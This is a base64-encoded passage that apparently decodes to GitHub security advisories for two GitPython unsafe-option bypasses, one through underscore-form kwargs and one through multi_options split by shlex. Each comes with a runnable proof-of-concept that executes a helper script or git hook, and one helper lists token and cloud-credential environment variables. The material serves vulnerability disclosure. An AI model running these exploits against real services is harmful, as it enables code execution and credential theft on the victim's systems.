xuZXJhYmxlIEFQSSBwYXRocyBjaGVjayB0aGUgcmF3IGt3YXJnIG5hbWVzIGJlZm9yZSB0aGV5J3JlIGl0cyBub3JtYWxpemVkIGludG8gY29tbWFuZC1saW5lIGZsYWdzOgoKLSBgUmVwby5jbG9uZV9mcm9tKClgIGNoZWNrcyBgbGlzdChrd2FyZ3Mua2V5cygpKWAgaW4gYGdpdC9yZXBvL2Jhc2UucHk6MTM4Ny0xMzkwYAotIGBSZW1vdGUuZmV0Y2goKWAgY2hlY2tzIGBsaXN0KGt3YXJncy5rZXlzKCkpYCBpbiBgZ2l0L3JlbW90ZS5weToxMDcwLTEwNzFgCi0gYFJlbW90ZS5wdWxsKClgIGNoZWNrcyBgbGlzdChrd2FyZ3Mua2V5cygpKWAgaW4gYGdpdC9yZW1vdGUucHk6MTEyNC0xMTI1YAotIGBSZW1vdGUucHVzaCgpYCBjaGVja3MgYGxpc3Qoa3dhcmdzLmtleXMoKSlgIGluIGBnaXQvcmVtb3RlLnB5OjExOTctMTE5OGAKClRoYXQgdmFsaWRhdGlvbiBpcyBwZXJmb3JtZWQgYnkgYEdpdC5jaGVja191bnNhZmVfb3B0aW9ucygpYCBpbiBgZ2l0L2NtZC5weTo5NDgtOTYxYC4gVGhlIHZhbGlkYXRvciBjb3JyZWN0bHkgYmxvY2tzIG9wdGlvbiBuYW1lcyBzdWNoIGFzIGB1cGxvYWQtcGFja2AsIGByZWNlaXZlLXBhY2tgLCBhbmQgYGV4ZWNgLgoKTGF0ZXIsIEdpdFB5dGhvbiBjb252ZXJ0cyBQeXRob24ga3dhcmdzIGludG8gR2l0IGNvbW1hbmQtbGluZSBmbGFncyBpbiBgR2l0LnRyYW5zZm9ybV9rd2FyZygpYCBhdCBgZ2l0L2NtZC5weToxNDcxLTE0ODRgLiBEdXJpbmcgdGhhdCBzdGVwLCB1bmRlcnNjb3JlLWZvcm0ga3dhcmdzIGFyZSBkYXNoaWZpZWQ6CgotIGB1cGxvYWRfcGFjaz0uLi5gIGJlY29tZXMgYC0tdXBsb2FkLXBhY2s9Li4uYAotIGByZWNlaXZlX3BhY2s9Li4uYCBiZWNvbWVzIGAtLXJlY2VpdmUtcGFjaz0uLi5gCgpCZWNhdXNlIHRoZSB1bnNhZmUtb3B0aW9uIGNoZWNrIHJ1bnMgYmVmb3JlIHRoaXMgbm9ybWFsaXphdGlvbiwgdW5kZXJzY29yZS1mb3JtIGt3YXJncyBieXBhc3MgdGhlIHNhZmV0eSBjaGVjayBldmVuIHRob3VnaCB0aGV5IGJlY29tZSB0aGUgZXhhY3QgZGFuZ2Vyb3VzIEdpdCBmbGFncyB0aGF0IHRoZSBjb2RlIGlzIHN1cHBvc2VkIHRvIHJlamVjdC4KCkluIHByYWN0aWNlOgoKLSBgcmVtb3RlLmZldGNoKCoqeyJ1cGxvYWQtcGFjayI6IGhlbHBlcn0pYCBpcyBibG9ja2VkIHdpdGggYFVuc2FmZU9wdGlvbkVycm9yYAotIGByZW1vdGUuZmV0Y2godXBsb2FkX3BhY2s9aGVscGVyKWAgaXMgYWxsb3dlZCBhbmQgcmVhY2hlcyBoZWxwZXIgZXhlY3V0aW9uCgpUaGUgc2FtZSBieXBhc3Mgd29ya3MgZm9yOgoKYGBgcHl0aG9uClJlcG8uY2xvbmVfZnJvbShvcmlnaW4sIG91dCwgdXBsb2FkX3BhY2s9aGVscGVyKQpyZXBvLnJlbW90ZSgib3JpZ2luIikuZmV0Y2godXBsb2FkX3BhY2s9aGVscGVyKQpyZXBvLnJlbW90ZSgib3JpZ2luIikucHVsbCh1cGxvYWRfcGFjaz1oZWxwZXIpCnJlcG8ucmVtb3RlKCJvcmlnaW4iKS5wdXNoKHJlY2VpdmVfcGFjaz1oZWxwZXIpCmBgYAoKVGhpcyBkb2VzIG5vdCBhcHBlYXIgdG8gYWZmZWN0IGV2ZXJ5IHVuc2FmZSBvcHRpb24uIEZvciBleGFtcGxlLCBgZXhlYz1gIGlzIGFscmVhZHkgcmVqZWN0ZWQgYmVjYXVzZSB0aGUgcmF3IGt3YXJnIG5hbWUgYGV4ZWNgIG1hdGNoZXMgdGhlIGJsb2NrZWQgb3B0aW9uIG5hbWUgYmVmb3JlIG5vcm1hbGl6YXRpb24uCgpFeGlzdGluZyB0ZXN0cyBjb3ZlciB0aGUgaHlwaGVuYXRlZCBmb3JtLCBub3QgdGhlIHZ1bG5lcmFibGUgdW5kZXJzY29yZSBmb3JtLiBGb3IgZXhhbXBsZToKCi0gYHRlc3QvdGVzdF9jbG9uZS5weToxMjktMTM2YCBjaGVja3MgYHsidXBsb2FkLXBhY2siOiAuLi59YAotIGB0ZXN0L3Rlc3RfcmVtb3RlLnB5OjgzMC04MzNgIGNoZWNrcyBgeyJ1cGxvYWQtcGFjayI6IC4uLn1gCi0gYHRlc3QvdGVzdF9yZW1vdGUucHk6OTY4LTk3NWAgY2hlY2tzIGB7InJlY2VpdmUtcGFjayI6IC4uLn1gCgpUaG9zZSB0ZXN0cyBjb3JyZWN0bHkgY29uZmlybSB0aGUgbGl0ZXJhbCBHaXQgb3B0aW9uIG5hbWVzIGFyZSBibG9ja2VkLCBidXQgdGhleSBkbyBub3QgZXhlcmNpc2UgdGhlIG5vcm1hbCBQeXRob24ga3dhcmcgc3BlbGxpbmcgdGhhdCBieXBhc3NlcyB0aGUgZ3VhcmQuCgojIyMjIyBQb0MKMS4gQ3JlYXRlIGFuZCBhY3RpdmF0ZSBhIHZpcnR1YWwgZW52aXJvbm1lbnQgaW4gdGhlIHJlcG9zaXRvcnkgcm9vdDoKCmBgYGJhc2gKcHl0aG9uMyAtbSB2ZW52IC52ZW52LXNlYwoudmVudi1zZWMvYmluL3BpcCBpbnN0YWxsIHNldHVwdG9vbHMgZ2l0ZGIKc291cmNlIC4vLnZlbnYtc2VjL2Jpbi9hY3RpdmF0ZQpgYGAKCjIuIG1ha2UgYSBuZXcgcHl0aG9uIGZpbGUgYW5kIHB1dCB0aGUgZm9sbG93aW5nIGluIHRoZXJlLCB0aGVuIHJ1biBpdDoKCmBgYHB5dGhvbgppbXBvcnQgb3MKaW1wb3J0IHN0YXQKaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxlCgpmcm9tIGdpdCBpbXBvcnQgUmVwbwpmcm9tIGdpdC5leGMgaW1wb3J0IFVuc2FmZU9wdGlvbkVycm9yCgojIyMjIyBTZXR1cDogY3JlYXRlIGlzb2xhdGVkIHJlcG9zaXRvcmllcyBzbyB0aGUgUG9DIHVzZXMgYSBub3JtYWwgZmV0Y2ggZmxvdy4KYmFzZSA9IHRlbXBmaWxlLm1rZHRlbXAocHJlZml4PSJncC1wb2Mtcmlzay0iKQpvcmlnaW4gPSBvcy5wYXRoLmpvaW4oYmFzZSwgIm9yaWdpbi5naXQiKQpwcm9kdWNlciA9IG9zLnBhdGguam9pbihiYXNlLCAicHJvZHVjZXIiKQp2aWN0aW0gPSBvcy5wYXRoLmpvaW4oYmFzZSwgInZpY3RpbSIpCnByb29mID0gb3MucGF0aC5qb2luKGJhc2UsICJwcm9vZi50eHQiKQp3cmFwcGVyID0gb3MucGF0aC5qb2luKGJhc2UsICJ3cmFwcGVyLnNoIikKCiMjIyMjIFNldHVwOiB0aGlzIHdyYXBwZXIgaXMganVzdCB0byBkZW1vIHRoaW5ncyB5b3UgY2FuIGRvLCBub3QgcmVxdWlyZWQgZm9yIHRoZSBleHBsb2l0IHRvIHdvcmsKCiMjIyMjIHlvdSBjb3VsZCBhbHNvIGRvIHNvbWV0aGluZyBsaWtlIGFuIFNTSCByZXZlcnNlIHNoZWxsLCByZWFsbHkgYW55dGhpbmcKd2l0aCBvcGVuKHdyYXBwZXIsICJ3IikgYXMgZjoKICAgIGYud3JpdGUoZiIiIiMhL2Jpbi9zaAp7ewogIGVjaG8gImNvZGVfZXhlYz0xIgogIGVjaG8gIndob2FtaT0kKGlkKSIKICBlY2hvICJjd2Q9JChwd2QpIgogIGVjaG8gInVuYW1lPSQodW5hbWUgLWEpIgogIHByaW50ZiAnYXJndj0nOyBwcmludGYgJzwlcz4nICIkQCI7IGVjaG8KICBlbnYgfCBncmVwIC1FICdeKEhPTUV8VVNFUnxQQVRIfFNTSF9BVVRIX1NPQ0t8Q0l8R0lUSFVCX1RPS0VOfEFXU198QVpVUkVffEdPT0dMRV8pPScgfCBzZWQgJ3MvPS4qJC89PHJlZGFjdGVkPi8nIHx8IHRydWUKfX0gPiAne3Byb29mfScKZXhlYyBnaXQtdXBsb2FkLXBhY2sgIiRAIgoiIiIpCm9zLmNobW9kKHdyYXBwZXIsIHN0YXQuU19JUldYVSkKCnN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgImluaXQiLCAiLS1iYXJlIiwgb3JpZ2luXSwgY2hlY2s9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuREVWTlVMTCkKc3VicHJvY2Vzcy5ydW4oWyJnaXQiLCAiY2xvbmUiLCBvcmlnaW4sIHByb2R1Y2VyXSwgY2hlY2s9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuREVWTlVMTCwgc3RkZXJyPXN1YnByb2Nlc3MuREVWTlVMTCkKCndpdGggb3Blbihvcy5wYXRoLmpvaW4ocHJvZHVjZXIsICJSRUFETUUiKSwgInciKSBhcyBmOgogICAgZi53cml0ZSgieCIpCgpzdWJwcm9jZXNzLnJ1bihbImdpdCIsICItQyIsIHByb2R1Y2VyLCAiYWRkIiwgIlJFQURNRSJdLCBjaGVjaz1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMKQpzdWJwcm9jZXNzLnJ1bigKICAgIFsiZ2l0IiwgIi1DIiwgcHJvZHVjZXIsICItYyIsICJ1c2VyLm5hbWU9dCIsICItYyIsICJ1c2VyLmVtYWlsPXRAdCIsICJjb21taXQiLCAiLW0iLCAiaW5pdCJdLAogICAgY2hlY2s9VHJ1ZSwKICAgIHN0ZG91dD1zdWJwcm9jZXNzLkRFVk5VTEwsCikKc3VicHJvY2Vzcy5ydW4oWyJnaXQiLCAiLUMiLCBwcm9kdWNlciwgInB1c2giLCAib3JpZ2luIiwgIkhFQUQiXSwgY2hlY2s9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuREVWTlVMTCwgc3RkZXJyPXN1YnByb2Nlc3MuREVWTlVMTCkKc3VicHJvY2Vzcy5ydW4oWyJnaXQiLCAiY2xvbmUiLCBvcmlnaW4sIHZpY3RpbV0sIGNoZWNrPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLkRFVk5VTEwsIHN0ZGVycj1zdWJwcm9jZXNzLkRFVk5VTEwpCgpyZXBvID0gUmVwbyh2aWN0aW0pCnJlbW90ZSA9IHJlcG8ucmVtb3RlKCJvcmlnaW4iKQoKIyMjIyMgdGhlIGxpdGVyYWwgR2l0IG9wdGlvbiBuYW1lIGlzIHByb3Blcmx5IGJsb2NrZWQuCnRyeToKICAgIHJlbW90ZS5mZXRjaCgqKnsidXBsb2FkLXBhY2siOiB3cmFwcGVyfSkKICAgIHByaW50KCJjb250cm9sPXVuZXhwZWN0ZWRfc3VjY2VzcyIpCmV4Y2VwdCBVbnNhZmVPcHRpb25FcnJvcjoKICAgIHByaW50KCJjb250cm9sPWJsb2NrZWQiKQoKIyMjIyMgdGhpcyBpcyB0aGUgYWN0dWFsIHZ1bG5lcmFiaWxpdHkKCiMjIyMjIHlvdSBjYW4gYWxzbyBqdXN0IGRvIHVwbG9hZF9wYWNrPSJ0b3VjaCAvdG1wL3Byb29mIiwgdGhlIHdyYXBwZXIgaXMganVzdCB0byBzaG93IGdyZWF0ZXIgaW1wYWN0CiMjIyMjIGlmIHlvdSBkbyB0aGUgInRvdWNoIC90bXAvcHJvb2YiIHRoZSBzY3JpcHQgd2lsbCBjcmFzaCwgYnV0IHRoZSBmaWxlIHdpbGwgaGF2ZSBiZWVuIGNyZWF0ZWQKcmVtb3RlLmZldGNoKHVwbG9hZF9wYWNrPXdyYXBwZXIpCgojIyMjIyBQcm9vZjogdGhlIGhlbHBlciByYW4gYXMgdGhlIEdpdFB5dGhvbiBob3N0IHByb2Nlc3MuCnByaW50KCJwcm9vZl9leGlzdHMiLCBvcy5wYXRoLmV4aXN0cyhwcm9vZiksIHByb29mKQpwcmludChvcGVuKHByb29mKS5yZWFkKCkpCmBgYAoKMy4gRXhwZWN0ZWQgcmVzdWx0OgoKLSBUaGUgc2NyaXB0IHByaW50cyBgY29udHJvbD1ibG9ja2VkYAotIFRoZSBzY3JpcHQgcHJpbnRzIGBwcm9vZl9leGlzdHMgVHJ1ZSAuLi5gCi0gVGhlIHByb29mIGZpbGUgY29udGFpbnMgZXZpZGVuY2UgdGhhdCB0aGUgYXR0YWNrZXItY29udHJvbGxlZCBoZWxwZXIgZXhlY3V0ZWQgYXMgdGhlIGxvY2FsIGFwcGxpY2F0aW9uIGFjY291bnQsIGluY2x1ZGluZyBgaWRgLCB3b3JraW5nIGRpcmVjdG9yeSwgYXJndiwgYW5kIHNlbGVjdGVkIGVudmlyb25tZW50IHZhcmlhYmxlIG5hbWVzCgpFeGFtcGxlIG91dHB1dDoKCmBgYGJhc2gKR2l0UHl0aG9uICUgcHl0aG9uMyB0ZXN0LnB5CmNvbnRyb2w9YmxvY2tlZApwcm9vZl9leGlzdHMgVHJ1ZSAvdmFyL2ZvbGRlcnMvcDQva2xkbXE0bTEzbmQxOWRoeTdseHM0amZ3MDAwMGduL1QvZ3AtcG9jLXJpc2stYTFvZnRma3UvcHJvb2YudHh0CmNvZGVfZXhlYz0xCndob2FtaT11aWQ9NTAxKHdlcykgZ2lkPTIwKHN0YWZmKSA8cmVkYWN0ZWQ+CmN3ZD0vcHJpdmF0ZS92YXIvZm9sZGVycy9wNC9rbGRtcTRtMTNuZDE5ZGh5N2x4czRqZncwMDAwZ24vVC9ncC1wb2Mtcmlzay1hMW9mdGZrdS92aWN0aW0KdW5hbWU9RGFyd2luICA8cmVkYWN0ZWQ+IERhcndpbiBLZXJuZWwgVmVyc2lvbiAgPHJlZGFjdGVkPjsgcm9vdDp4bnUtMTE0MTcuIDxyZWRhY3RlZD4KYXJndj08L3Zhci9mb2xkZXJzL3A0L2tsZG1xNG0xM25kMTlkaHk3bHhzNGpmdzAwMDBnbi9UL2dwLXBvYy1yaXNrLWExb2Z0Zmt1L29yaWdpbi5naXQ+ClVTRVI9PHJlZGFjdGVkPgpTU0hfQVVUSF9TT0NLPTxyZWRhY3RlZD4KUEFUSD08cmVkYWN0ZWQ+CkhPTUU9PHJlZGFjdGVkPgpgYGAKClRoaXMgUG9DIGRvZXMgbm90IHJlcXVpcmUgYSBtYWxpY2lvdXMgcmVwb3NpdG9yeS4gVGhlIFBvQyB1c2VzIHRoYXQgZnJlc2ggYmxhbmsgcmVwb3NpdG9yeS4gVGhlIG9ubHkgYXR0YWNrZXItY29udHJvbGxlZCBpbnB1dCBpcyB0aGUga3dhcmcgdGhhdCBHaXRQeXRob24gdHVybnMgaW50byBgLS11cGxvYWQtcGFja2AuCgojIyMjIyBJbXBhY3QKV2hvIGlzIGltcGFjdGVkOgotIFdlYiBhcHBsaWNhdGlvbnMgdGhhdCBsZXQgdXNlcnMgY29uZmlndXJlIHJlcG9zaXRvcnkgaW1wb3J0LCBzeW5jLCBtaXJyb3JpbmcsIGZldGNoLCBwdWxsLCBvciBwdXNoIGJlaGF2aW9yCi0gU3lzdGVtcyB0aGF0IGFjY2VwdCBhIHVzZXItcHJvdmlkZWQgZGljdCBvZiAiZXh0cmEgR2l0IG9wdGlvbnMiIGFuZCBwYXNzIGl0IGludG8gR2l0UHl0aG9uIHdpdGggYCoqa3dhcmdzYAotIENJL0NEIHN5c3RlbXMsIHdvcmtlcnMsIGF1dG9tYXRpb24gYm90cywgb3IgaW50ZXJuYWwgdG9vbHMgdGhhdCBidWlsZCBHaXRQeXRob24gY2FsbHMgZnJvbSB1bnRydXN0ZWQgaW50ZWdyYXRpb24gc2V0dGluZ3Mgb3Igam9iIGRlZmluaXRpb25zICh5YW1sLCBqc29uLCBldGMgY29uZmlncyApCgpXaGF0IHRoZSBhdHRhY2tlciBuZWVkcyB0byBjb250cm9sOgoKLSBBIHZhbHVlIHRoYXQgYmVjb21lcyBgdXBsb2FkX3BhY2tgIG9yIGByZWNlaXZlX3BhY2tgIGluIHRoZSBrd2FyZ3MgcGFzc2VkIHRvIGBSZXBvLmNsb25lX2Zyb20oKWAsIGBSZW1vdGUuZmV0Y2goKWAsIGBSZW1vdGUucHVsbCgpYCwgb3IgYFJlbW90ZS5wdXNoKClgCgpGcm9tIGEgc2V2ZXJpdHkgcGVyc3BlY3RpdmUsIHRoaXMgY291bGQgbGVhZCB0bwotIFRoZWZ0IG9mIFNTSCBrZXlzLCBkZXBsb3kgY3JlZGVudGlhbHMsIEFQSSB0b2tlbnMsIG9yIGNsb3VkIGNyZWRlbnRpYWxzIGF2YWlsYWJsZSB0byB0aGUgcHJvY2VzcwotIE1vZGlmaWNhdGlvbiBvZiByZXBvc2l0b3JpZXMsIGJ1aWxkIG91dHB1dHMsIG9yIHJlbGVhc2UgYXJ0aWZhY3RzCi0gTGF0ZXJhbCBtb3ZlbWVudCBmcm9tIENJL0NEIHdvcmtlcnMgb3IgYXV0b21hdGlvbiBob3N0cwotIEZ1bGwgY29tcHJvbWlzZSBvZiB0aGUgd29ya2VyIG9yIHNlcnZpY2UgcHJvY2VzcyBoYW5kbGluZyByZXBvc2l0b3J5IG9wZXJhdGlvbnMKClRoZSBoaWdoZXN0LXJpc2sgZW52aXJvbm1lbnRzIGFyZSBuZXR3b3JrLXJlYWNoYWJsZSBzZXJ2aWNlcyBhbmQgYXV0b21hdGlvbiBzeXN0ZW1zIHRoYXQgZXhwb3NlIHRoZXNlIEdpdFB5dGhvbiBrd2FyZ3MgYWNyb3NzIGEgdHJ1c3QgYm91bmRhcnkgd2hpbGUgcmVseWluZyBvbiB0aGUgZGVmYXVsdCB1bnNhZmUtb3B0aW9uIGd1YXJkIGZvciBwcm90ZWN0aW9uLgoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDguOCAvIDEwIChIaWdoKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjMuMS9BVjpOL0FDOkwvUFI6TC9VSTpOL1M6VS9DOkgvSTpIL0E6SGAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1ycG01LTY1Y3ctNmhqNF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajQpCi0gW2h0dHBzOi8vbnZkLm5pc3QuZ292L3Z1bG4vZGV0YWlsL0NWRS0yMDI2LTQyMjE1XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00MjIxNSkKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjQ3XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNDcpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajQpCgpUaGlzIGRhdGEgaXMgcHJvdmlkZWQgYnkgdGhlIFtHaXRIdWIgQWR2aXNvcnkgRGF0YWJhc2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajQpIChbQ0MtQlkgNC4wXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlL2Jsb2IvbWFpbi9MSUNFTlNFLm1kKSkuCjwvZGV0YWlscz4KCi0tLQoKIyMjIEdpdFB5dGhvbjogVW5zYWZlIG9wdGlvbiBjaGVjayB2YWxpZGF0ZXMgbXVsdGlfb3B0aW9ucyBiZWZvcmUgc2hsZXguc3BsaXQgdHJhbnNmb3JtYXRpb24KW0NWRS0yMDI2LTQyMjg0XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00MjI4NCkgLyBbR0hTQS14MnF4LTY5NTMtODQ4NV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS14MnF4LTY5NTMtODQ4NSkKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKCmBfY2xvbmUoKWAgdmFsaWRhdGVzIGBtdWx0aV9vcHRpb25zYCBhcyB0aGUgb3JpZ2luYWwgbGlzdCwgdGhlbiBleGVjdXRlcyBgc2hsZXguc3BsaXQoIiAiLmpvaW4obXVsdGlfb3B0aW9ucykpYC4gQSBzdHJpbmcgbGlrZSBgIi0tYnJhbmNoIG1haW4gLS1jb25maWcgY29yZS5ob29rc1BhdGg9L3giYCBwYXNzZXMgdmFsaWRhdGlvbiAoc3RhcnRzIHdpdGggYC0tYnJhbmNoYCksIGJ1dCBhZnRlciBzcGxpdCBiZWNvbWVzIGBbIi0tYnJhbmNoIiwgIm1haW4iLCAiLS1jb25maWciLCAiY29yZS5ob29rc1BhdGg9L3giXWAuIEdpdCBhcHBsaWVzIHRoZSBjb25maWcgYW5kIGV4ZWN1dGVzIGF0dGFja2VyIGhvb2tzIGR1cmluZyBjbG9uZS4KCiMjIyMjIERldGFpbHMKClRoZSB2dWxuZXJhYmxlIGNvZGUgaXMgaW4gW2BnaXQvcmVwby9iYXNlLnB5YCBsaW5lIDEzODNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vYmxvYi81OTM3ZDE0YTJjNWU1MzJmY2IzZWNlMGY0NWJmNzVlNWJmMTg1MzllL2dpdC9yZXBvL2Jhc2UucHkjTDEzODMpOgpgYGBweXRob24KbXVsdGkgPSBzaGxleC5zcGxpdCgiICIuam9pbihtdWx0aV9vcHRpb25zKSkKYGBgCgpUaGVuIHZhbGlkYXRpb24gcnVucyBvbiB0aGUgKipvcmlnaW5hbCoqIGxpc3QgYXQgW2xpbmUgMTM5MF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9ibG9iLzU5MzdkMTRhMmM1ZTUzMmZjYjNlY2UwZjQ1YmY3NWU1YmYxODUzOWUvZ2l0L3JlcG8vYmFzZS5weSNMMTM5MCk6CmBgYHB5dGhvbgpHaXQuY2hlY2tfdW5zYWZlX29wdGlvbnMob3B0aW9ucz1tdWx0aV9vcHRpb25zLCB1bnNhZmVfb3B0aW9ucz1jbHMudW5zYWZlX2dpdF9jbG9uZV9vcHRpb25zKQpgYGAKClRoZW4gZXhlY3V0aW9uIHVzZXMgdGhlICoqdHJhbnNmb3JtZWQqKiByZXN1bHQgYXQgW2xpbmUgMTM5Ml0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9ibG9iLzU5MzdkMTRhMmM1ZTUzMmZjYjNlY2UwZjQ1YmY3NWU1YmYxODUzOWUvZ2l0L3JlcG8vYmFzZS5weSNMMTM5Mik6CmBgYHB5dGhvbgpwcm9jID0gZ2l0LmNsb25lKG11bHRpLCAiLS0iLCB1cmwsIHBhdGgsIC4uLikKYGBgCgpUaGUgW2NoZWNrIGF0IGBnaXQvY21kLnB5YCBsaW5lIDk1OV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9ibG9iLzU5MzdkMTRhMmM1ZTUzMmZjYjNlY2UwZjQ1YmY3NWU1YmYxODUzOWUvZ2l0L2NtZC5weSNMOTU5KSB1c2VzIGBzdGFydHN3aXRoYDoKYGBgcHl0aG9uCmlmIG9wdGlvbi5zdGFydHN3aXRoKHVuc2FmZV9vcHRpb24pIG9yIG9wdGlvbiA9PSBiYXJlX29wdGlvbjoKYGBgCgpgIi0tYnJhbmNoIG1haW4gLS1jb25maWcgLi4uImAgZG9lcyBub3Qgc3RhcnQgd2l0aCBgIi0tY29uZmlnImAsIHNvIGl0IHBhc3Nlcy4gQWZ0ZXIgYHNobGV4LnNwbGl0YCwgYCItLWNvbmZpZyJgIGJlY29tZXMgaXRzIG93biB0b2tlbiBhbmQgcmVhY2hlcyBnaXQuCgpBbHNvIGFmZmVjdHMgYFN1Ym1vZHVsZS51cGRhdGUoKWAgdmlhIGBjbG9uZV9tdWx0aV9vcHRpb25zYC4KCiMjIyMjIFBvQwoKYGBgcHl0aG9uCmltcG9ydCBzeXMsIHBhdGhsaWIsIHN1YnByb2Nlc3MKc3lzLnBhdGguaW5zZXJ0KDAsIHN0cihwYXRobGliLlBhdGgoX19maWxlX18pLnJlc29sdmUoKS5wYXJlbnQpKQoKZnJvbSBnaXQgaW1wb3J0IFJlcG8KZnJvbSBnaXQuZXhjIGltcG9ydCBVbnNhZmVPcHRpb25FcnJvcgoKdHJ5OgogICAgUmVwby5jbG9uZV9mcm9tKCIvbm9uZXhpc3RlbnQiLCAiL3RtcC94IiwgbXVsdGlfb3B0aW9ucz1bIi0tY29uZmlnIiwgImNvcmUuaG9va3NQYXRoPS94Il0pCmV4Y2VwdCBVbnNhZmVPcHRpb25FcnJvcjoKICAgIHByaW50KCJtdWx0aV9vcHRpb25zPVsnLS1jb25maWcnLCAnLi4uJ106IEJsb2NrIGFzIGV4cGVjdGVkIikKZXhjZXB0IEV4Y2VwdGlvbjoKICAgIHBhc3MKCkRJUiA9IHBhdGhsaWIuUGF0aChfX2ZpbGVfXykucmVzb2x2ZSgpLnBhcmVudCAvICJ3b3JrZGlyX2IiClNSQyA9IERJUiAvICJyZXBvIgpEU1QgPSBESVIgLyAiZHN0IgpIT09LUyA9IERJUiAvICJob29rcyIKTE9HID0gRElSIC8gIm91dHB1dC5sb2ciCgppZiBub3QgU1JDLmV4aXN0cygpOgogICAgU1JDLm1rZGlyKHBhcmVudHM9VHJ1ZSkKICAgIHIgPSBsYW1iZGEgKmE6IHN1YnByb2Nlc3MucnVuKGEsIGN3ZD1TUkMsIGNhcHR1cmVfb3V0cHV0PVRydWUpCiAgICByKCJnaXQiLCAiaW5pdCIsICItYiIsICJtYWluIikKICAgIChTUkMgLyAiZiIpLndyaXRlX3RleHQoInhcbiIpCiAgICByKCJnaXQiLCAiYWRkIiwgIi4iKQogICAgcigiZ2l0IiwgImNvbW1pdCIsICItbSIsICJpbml0IikKCkhPT0tTLm1rZGlyKGV4aXN0X29rPVRydWUpCmhvb2sgPSBIT09LUyAvICJwb3N0LWNoZWNrb3V0Igpob29rLndyaXRlX3RleHQoZiIjIS9iaW4vc2hcbndob2FtaSA+IHtMT0cuYXNfcG9zaXgoKX1cbmhvc3RuYW1lID4+IHtMT0cuYXNfcG9zaXgoKX1cbiIpCmhvb2suY2htb2QoMG83NTUpCgpMT0cudW5saW5rKG1pc3Npbmdfb2s9VHJ1ZSkKcGF5bG9hZCA9ICItLWJyYW5jaCBtYWluIC0tY29uZmlnIGNvcmUuaG9va3NQYXRoPSIgKyBIT09LUy5hc19wb3NpeCgpCgp0cnk6CiAgICBSZXBvLmNsb25lX2Zyb20oc3RyKFNSQyksIHN0cihEU1QpLCBtdWx0aV9vcHRpb25zPVtwYXlsb2FkXSkKZXhjZXB0IFVuc2FmZU9wdGlvbkVycm9yOgogICAgcHJpbnQoZiJtdWx0aV9vcHRpb25zPVsne3BheWxvYWR9J106IEJMT0NLRUQiKTsgc3lzLmV4aXQoMSkKZXhjZXB0IEV4Y2VwdGlvbjoKICAgIHBhc3MKCmlmIG5vdCBMT0cuZXhpc3RzKCkgYW5kIERTVC5leGlzdHMoKToKICAgIHN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgImNoZWNrb3V0IiwgIi0tZm9yY2UiLCAibWFpbiJdLCBjd2Q9RFNULCBjYXB0dXJlX291dHB1dD1UcnVlKQoKcHJpbnQoZiJtdWx0aV9vcHRpb25zPVsne3BheWxvYWR9J106IG5vdCBibG9ja2VkIikKcHJpbnQoZiJcbkhvb2sgZXhlY3V0ZWQ6IHtMT0cuZXhpc3RzKCl9IikKaWYgTE9HLmV4aXN0cygpOgogICAgcHJpbnQoTE9HLnJlYWRfdGV4dCgpLnN0cmlwKCkpCmBgYAoKKipPdXRwdXQ6KioKYGBgCm11bHRpX29wdGlvbnM9WyctLWNvbmZpZycsICcuLi4nXTogQmxvY2sgYXMgZXhwZWN0ZWQKbXVsdGlfb3B0aW9ucz1bJy0tYnJhbmNoIG1haW4gLS1jb25maWcgY29yZS5ob29rc1BhdGg9Li4uL2hvb2tzJ106IG5vdCBibG9ja2VkCgpIb29rIGV4ZWN1dGVkOiBUcnVlCnRleHVnbwpERVNLVE9QLTV3NUhINzkKYGBgCgojIyM